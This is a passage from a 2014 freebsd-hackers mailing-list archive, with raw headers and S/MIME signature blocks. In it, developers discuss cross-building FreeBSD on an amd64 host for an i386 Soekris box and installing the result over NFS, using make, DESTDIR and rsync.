0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwMTE4NDIzNVowIwYJKoZIhvcN AQkEMRYEFDZSyYxsT52qyFRWlKB2wqIknmYdMIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAqe+xmvxv0+hNOiGx3rYx gQci6OeIQDQWshsAzAW0BW0p9Bs1lhZU/+gmYtbcFsO9eOEr2TpXyZ7qIESzbc0XgRFpgexOd9nY A4PBOkCfj3HoQMRDzS92z5gEkn7yNOkx+WGZTDc1Nj1utz5J3VlH+YMQlGOVYVb+2vXjU8nC1+rK trxmdhAorkmWO5a2syhEXsERBa7+c2vSJarOaZPuRTfQznEeYlV2zQxTaYYktpBydFP3LsQEJrXO 92sW4sj7M8NDeHOhg+4kwtsNJZsk0vQTtoL8Moj6GofOrpEgB39+RoXjtsJsZTcXxzglyyYH69vP xZd6P52cYJdM2RkUIwAAAAAAAA== --Apple-Mail-09A7528E-3142-4970-8A76-F45F579B766F-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 18:50:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8206380A for ; Sun, 1 Jun 2014 18:50:47 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 6AE2225D9 for ; Sun, 1 Jun 2014 18:50:47 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id E4FD21A3C1D; Sun, 1 Jun 2014 11:50:46 -0700 (PDT) Message-ID: <538B761C.7060300@mu.org> Date: Sun, 01 Jun 2014 11:51:08 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 18:50:47 -0000 On 6/1/14, 11:42 AM, Jason Hellenthal wrote: > That would be nice. Could've swore there was something similar to that > but memory escapes me as I haven't done backwards cross compiles in > awhile. > > Curious have you done a svn status on your src tree in a while to see > if there are any stale depends laying around that may affect the > compilation ? I use git. :) But the build tree was completely clean. > > Also ALWAYS_CHECK_MAKE=YES defined in make.conf ? No, what does that do? I think once I get this sorted I will make a blog post on it, right now that blog post is basically: export TARGET=i386 make buildworld -j36 make buildkernel -j36 mkdir -p /mnt/target.local /mnt/target make installkernel installworld DESTDIR=/mnt/target.local mount i386target:/ /mnt/target rsync -avvH /mnt/target.local /mnt/target I thought though there was a way to get this to work, obviously there is a bug here that we lose "chflags" bits on install. I wonder if there's a way to restore or preserve them? -Alfred > > -- > Jason Hellenthal > Voice: 95.30.17.6/616 > JJH48-ARIN > > On Jun 1, 2014, at 14:24, Alfred Perlstein > wrote: > >> >> On 6/1/14, 10:34 AM, Jason Hellenthal wrote: >>> What if you just NFS mount the obj directory from the 386 to the >>> amd64 build world for 386 the mount the src on the i386 and just >>> rebuild strip and friends ? >>> >>> A little more of a hack i know but would get the job done. >> >> I tried that using install(1), then it broke with strip(1), then I >> basically was like, "this is a rabbit hole, forget it" and used rsync. >> >> I was really looking for a "buildinstalltools" or something target >> (as you suggest), but I couldn't find one. >> >> Is there an "buildinstalltools" target? >> >> -Alfred >>> >>> -- >>> Jason Hellenthal >>> Voice: 95.30.17.6/616 >>> JJH48-ARIN >>> >>> On Jun 1, 2014, at 13:25, Alfred Perlstein >> > wrote: >>> >>>> Hello hackers. >>>> >>>> Is there a way to build on amd64 and then mount over nfs the build >>>> and src and installworld from an i386 machine? >>>> >>>> The problem seems to be that "install" and "strip" and etc are >>>> built as amd64 binaries so that the installworld will fail. >>>> >>>> Below I have a solution I was going to do a blog post about, but >>>> then realized maybe I'd be leading people down the wrong path. >>>> >>>> Can someone verify that I need to use rsync as opposed to >>>> installworld for this to work? >>>> >>>> I have an old i386 based soekris geode box called "soekris": >>>> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz >>>> 586-class CPU) >>>> Origin = "AuthenticAMD" Id = 0x5a2 Family = 0x5 Model = 0xa >>>> Stepping = 2 >>>> Features=0x88a93d >>>> AMD Features=0xc0400000 >>>> real memory = 536870912 (512 MB) >>>> avail memory = 502792192 (479 MB) >>>> >>>> Building on this machine is difficult because of the speed and lack >>>> of space, so I decided to use my more powerful amd64 machine "spigot": >>>> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) >>>> Origin="GenuineIntel" Id=0x206a7 Family=0x6 Model=0x2a Stepping=7 >>>> ... >>>> real memory = 17179869184 (16384 MB) >>>> avail memory = 16585228288 (15816 MB) >>>> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >>>> >>>> So I've built an 10-stable on the amd64 machine using: >>>> >>>> spigot % TARGET=i386 >>>> spigot % make -j24 buildworld >>>> spigot % make -j24 buildkernel >>>> >>>> Works great, I get an i386 object tree under /usr/obj/i386.386/... >>>> >>>> Then I go to install this over NFS and this is where I get stuck. >>>> >>>> If I mount the i386 machine like so and install I get errors on >>>> libc and other libraries: >>>> >>>> spigot % mount soekris:/ /usr/soekris >>>> spigot % cd /usr/src && make installworld >>>> ..... >>>> ===> lib/libcrypt (install) >>>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >>>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 >>>> /usr/soekris/lib >>>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >>>> *** Error code 71 >>>> >>>> Stop. >>>> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >>>> *** Error code 1 >>>> >>>> OK, so that doesn't work... >>>> >>>> Maybe if I mount the amd64 build host under the soekris box, no >>>> that breaks because the bootstrap tools (install(1), strip(1)) are >>>> built for amd64 so the install fails. >>>> >>>> So what I finally did on the amd64 box was: >>>> >>>> spigot % mkdir /use/soekris.local >>>> spigot % make installworld DESTDIR=/usr/soekris.local >>>> spigot % mount soekris:/ /usr/soekris >>>> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >>>> >>>> That hung at the end forever at the end: >>>> var/unbound/ >>>> var/yp/ >>>> var/yp/Makefile >>>> var/yp/Makefile.dist >>>> .... >>>> >>>> but after giving it an hour I just hit ^C and rebooted and >>>> everything was more or less fine. >>>> >>>> Is there a better way to do this? Was the "installworld to NFS" >>>> breaking because of NFS bugs? Should I get those to Rick? I'm >>>> just confused. >>>> >>>> -Alfred >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org >>>> mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to >>>> "freebsd-hackers-unsubscribe@freebsd.org >>>> " >> From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 18:56:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 706D7CA6 for ; Sun, 1 Jun 2014 18:56:59 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 442E22697 for ; Sun, 1 Jun 2014 18:56:58 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id E702D3806E for ; Sun, 1 Jun 2014 13:56:57 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id lvSyGo5iFnFl for ; Sun, 1 Jun 2014 13:56:57 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id A30B63805A for ; Sun, 1 Jun 2014 13:56:57 -0500 (CDT) Message-ID: <538B7778.3040205@freebsd.org> Date: Sun, 01 Jun 2014 11:56:56 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> In-Reply-To: <538B61EC.9000403@mu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 18:56:59 -0000 On 06/01/14 10:25, Alfred Perlstein wrote: > Hello hackers. > > Is there a way to build on amd64 and then mount over nfs the build and > src and installworld from an i386 machine? > > The problem seems to be that "install" and "strip" and etc are built > as amd64 binaries so that the installworld will fail. > > Below I have a solution I was going to do a blog post about, but then > realized maybe I'd be leading people down the wrong path. > > Can someone verify that I need to use rsync as opposed to installworld > for this to work? Usually the strategy is to update the kernel first, since you can use an amd64 kernel with i386 world. Then you reboot, then replace world. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 18:58:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AF65CDB7 for ; Sun, 1 Jun 2014 18:58:17 +0000 (UTC) Received: from mail-ie0-x230.google.com (mail-ie0-x230.google.com [IPv6:2607:f8b0:4001:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6A54826A5 for ; Sun, 1 Jun 2014 18:58:17 +0000 (UTC) Received: by mail-ie0-f176.google.com with SMTP id rl12so3628788iec.21 for ; Sun, 01 Jun 2014 11:58:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=l1L1j0VtS5g1WFoxjgAqryG2TWzzCL8jjTKz39oe4wE=; b=YZQ4Ur6AdqKkzF53n4wEIHEAs7/tJoXhN9tahvi8VYkvI+/PHLHWy2EKIMNCSaiQhU oj8rHu/UCMLBXP3/weWi9CVapriJdCJbZpla7zOBV3mNolMGGoa56eUm6tca1kDIIPYd Dd3633UHJEApDX8Bc4803T4svoHVaRUgeVmMw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=l1L1j0VtS5g1WFoxjgAqryG2TWzzCL8jjTKz39oe4wE=; b=Nk0vVowAEfGNVU8tLRYdJ2iZQE+tM4YjkAabwFKGpr9d4kLBw+bCAsDuwgHsB3RJi6 txfp3K2Ck8NvkNmcr7g852CS/Zm9+zSwZPLRWZmsj9qbajlsyO+t26dC4AvCBQ+B1JmQ hN3t83qAfrt+llZcipozZvdBkoiIIezSTb0xIPiTsZZbpdnMRKRxg0vqQhQgoz8HtOyt mBfIobGQldLbxklivaDznPqtN8kVM9asExTz59E/fbGYT+fXK0Xc0B6quWfexswkSyvB /5/tHBOTrOoUDQ2GNssBuHuSn+Q5PSHLTPYSu7zxtIBJPNSg8mck7Sn5d0U1zua64DC+ K+MA== X-Gm-Message-State: ALoCoQlFt1+X/VGEqJWkt6uDvOUuwO0Ly2TTv3owmZS+nW+A4733UMyIZGdGTSRo3KriF2lJi12G X-Received: by 10.42.20.205 with SMTP id h13mr3485419icb.84.1401649096741; Sun, 01 Jun 2014 11:58:16 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id hy3sm5236991igb.1.2014.06.01.11.58.15 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 01 Jun 2014 11:58:15 -0700 (PDT) References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538B761C.7060300@mu.org> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-B322014B-5AA1-417F-A80B-20928CB18047; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. Date: Sun, 1 Jun 2014 14:58:12 -0400 To: Alfred Perlstein X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 18:58:17 -0000 --Apple-Mail-B322014B-5AA1-417F-A80B-20928CB18047 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable > On Jun 1, 2014, at 14:51, Alfred Perlstein wrote: >=20 >=20 >> On 6/1/14, 11:42 AM, Jason Hellenthal wrote: >> That would be nice. Could've swore there was something similar to that bu= t memory escapes me as I haven't done backwards cross compiles in awhile. >>=20 >> Curious have you done a svn status on your src tree in a while to see if t= here are any stale depends laying around that may affect the compilation ? >=20 > I use git. :) But the build tree was completely clean. >>=20 >> Also ALWAYS_CHECK_MAKE=3DYES defined in make.conf ?=20 > No, what does that do?=20 Instructs the top-level Makefile to check if make(1) is up-to-date. Not sure= if it really would have an effect on a cross build but worth a shot. make.conf(5) holds a better definition of it. >=20 > I think once I get this sorted I will make a blog post on it, right now th= at blog post is basically: >=20 > export TARGET=3Di386 > make buildworld -j36 > make buildkernel -j36 > mkdir -p /mnt/target.local /mnt/target > make installkernel installworld DESTDIR=3D/mnt/target.local > mount i386target:/ /mnt/target > rsync -avvH /mnt/target.local /mnt/target >=20 > I thought though there was a way to get this to work, obviously there is a= bug here that we lose "chflags" bits on install. I wonder if there's a way= to restore or preserve them? rsync(1) can be build from ports with the chflags patch that should aid in p= reserving them. rsync --fileflags . . .=20 >=20 > -Alfred >=20 >=20 >=20 >=20 >=20 >=20 >=20 >=20 >=20 >>=20 >> --=20 >> Jason Hellenthal >> Voice: 95.30.17.6/616 >> JJH48-ARIN >>=20 >> On Jun 1, 2014, at 14:24, Alfred Perlstein wrote: >>=20 >>>=20 >>>> On 6/1/14, 10:34 AM, Jason Hellenthal wrote: >>>> What if you just NFS mount the obj directory from the 386 to the amd64 b= uild world for 386 the mount the src on the i386 and just rebuild strip and f= riends ? >>>>=20 >>>> A little more of a hack i know but would get the job done. >>>=20 >>> I tried that using install(1), then it broke with strip(1), then I basic= ally was like, "this is a rabbit hole, forget it" and used rsync. >>>=20 >>> I was really looking for a "buildinstalltools" or something target (as y= ou suggest), but I couldn't find one. >>>=20 >>> Is there an "buildinstalltools" target?=20 >>>=20 >>> -Alfred >>>>=20 >>>> --=20 >>>> Jason Hellenthal >>>> Voice: 95.30.17.6/616 >>>> JJH48-ARIN >>>>=20 >>>> On Jun 1, 2014, at 13:25, Alfred Perlstein wrote: >>>>=20 >>>>> Hello hackers. >>>>>=20 >>>>> Is there a way to build on amd64 and then mount over nfs the build and= src and installworld from an i386 machine? >>>>>=20 >>>>> The problem seems to be that "install" and "strip" and etc are built a= s amd64 binaries so that the installworld will fail. >>>>>=20 >>>>> Below I have a solution I was going to do a blog post about, but then r= ealized maybe I'd be leading people down the wrong path. >>>>>=20 >>>>> Can someone verify that I need to use rsync as opposed to installworld= for this to work? >>>>>=20 >>>>> I have an old i386 based soekris geode box called "soekris": >>>>> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class C= PU) >>>>> Origin =3D "AuthenticAMD" Id =3D 0x5a2 Family =3D 0x5 Model =3D 0x= a Stepping =3D 2 >>>>> Features=3D0x88a93d >>>>> AMD Features=3D0xc0400000 >>>>> real memory =3D 536870912 (512 MB) >>>>> avail memory =3D 502792192 (479 MB) >>>>>=20 >>>>> Building on this machine is difficult because of the speed and lack of= space, so I decided to use my more powerful amd64 machine "spigot": >>>>> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU= ) >>>>> Origin=3D"GenuineIntel" Id=3D0x206a7 Family=3D0x6 Model=3D0x2a Ste= pping=3D7 >>>>> ... >>>>> real memory =3D 17179869184 (16384 MB) >>>>> avail memory =3D 16585228288 (15816 MB) >>>>> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >>>>>=20 >>>>> So I've built an 10-stable on the amd64 machine using: >>>>>=20 >>>>> spigot % TARGET=3Di386 >>>>> spigot % make -j24 buildworld >>>>> spigot % make -j24 buildkernel >>>>>=20 >>>>> Works great, I get an i386 object tree under /usr/obj/i386.386/... >>>>>=20 >>>>> Then I go to install this over NFS and this is where I get stuck. >>>>>=20 >>>>> If I mount the i386 machine like so and install I get errors on libc a= nd other libraries: >>>>>=20 >>>>> spigot % mount soekris:/ /usr/soekris >>>>> spigot % cd /usr/src && make installworld >>>>> ..... >>>>> =3D=3D=3D> lib/libcrypt (install) >>>>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>>>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib= >>>>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekri= s/lib >>>>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >>>>> *** Error code 71 >>>>>=20 >>>>> Stop. >>>>> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >>>>> *** Error code 1 >>>>>=20 >>>>> OK, so that doesn't work... >>>>>=20 >>>>> Maybe if I mount the amd64 build host under the soekris box, no that b= reaks because the bootstrap tools (install(1), strip(1)) are built for amd64= so the install fails. >>>>>=20 >>>>> So what I finally did on the amd64 box was: >>>>>=20 >>>>> spigot % mkdir /use/soekris.local >>>>> spigot % make installworld DESTDIR=3D/usr/soekris.local >>>>> spigot % mount soekris:/ /usr/soekris >>>>> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >>>>>=20 >>>>> That hung at the end forever at the end: >>>>> var/unbound/ >>>>> var/yp/ >>>>> var/yp/Makefile >>>>> var/yp/Makefile.dist >>>>> .... >>>>>=20 >>>>> but after giving it an hour I just hit ^C and rebooted and everything w= as more or less fine. >>>>>=20 >>>>> Is there a better way to do this? Was the "installworld to NFS" break= ing because of NFS bugs? Should I get those to Rick? I'm just confused. >>>>>=20 >>>>> -Alfred >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.= org" >=20 --Apple-Mail-B322014B-5AA1-417F-A80B-20928CB18047 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh 